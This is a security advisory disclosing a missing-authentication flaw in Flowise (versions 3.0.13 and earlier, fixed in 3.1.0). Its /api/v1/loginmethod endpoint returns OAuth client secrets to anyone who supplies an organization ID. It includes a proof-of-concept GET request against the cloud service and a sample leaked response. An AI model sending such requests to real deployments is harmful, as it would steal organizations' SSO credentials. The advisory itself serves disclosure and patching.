Flowise: Unauthenticated Access to Sensitive OAuth Credentials

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5.3

Flowise: Unauthenticated Access to Sensitive OAuth Credentials

GHSA-6pcv-j4jx-m4vx

Summary

Sensitive OAuth credentials can be accessed by anyone, putting organizations at risk of unauthorized access. This vulnerability allows unauthorized users to retrieve full SSO configurations, including client secrets, by sending a GET request to the /api/v1/loginmethod endpoint with an organization ID. To protect your organization, ensure that authentication is properly configured and restrict access to sensitive data.

What to do

Update henryheng flowise to version 3.1.0.

Affected software

Ecosystem	Vendor	Product	Affected versions
npm	henryheng	flowise	<= 3.0.13 Fix: upgrade to 3.1.0

Original title

Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request

Original description

### Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.

### PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.

Request
```http
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json
```

Response: The server returns 200 OK with sensitive credentials:
```json
{
"providers": [
{
"id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "azure",
"config": {
"tenantID": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "google",
"config": {
"clientID": "123455",
"clientSecret": "123455"
},
"status": "enable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "auth0",
"config": {
"domain": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "github",
"config": {
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
}
],
"callbacks": [
{
"providerName": "azure",
"callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
},
{
"providerName": "google",
"callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
},
{
"providerName": "auth0",
"callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
},
{
"providerName": "github",
"callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
}
]
}
```
### Affected Deployments
- FlowiseAI Cloud (cloud.flowiseai.com)
- Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed

### Impact
An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.

ghsa CVSS3.1 5.3

Vulnerability type

CWE-306 Missing Authentication for Critical Function

CWE-312 Cleartext Storage of Sensitive Information

Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026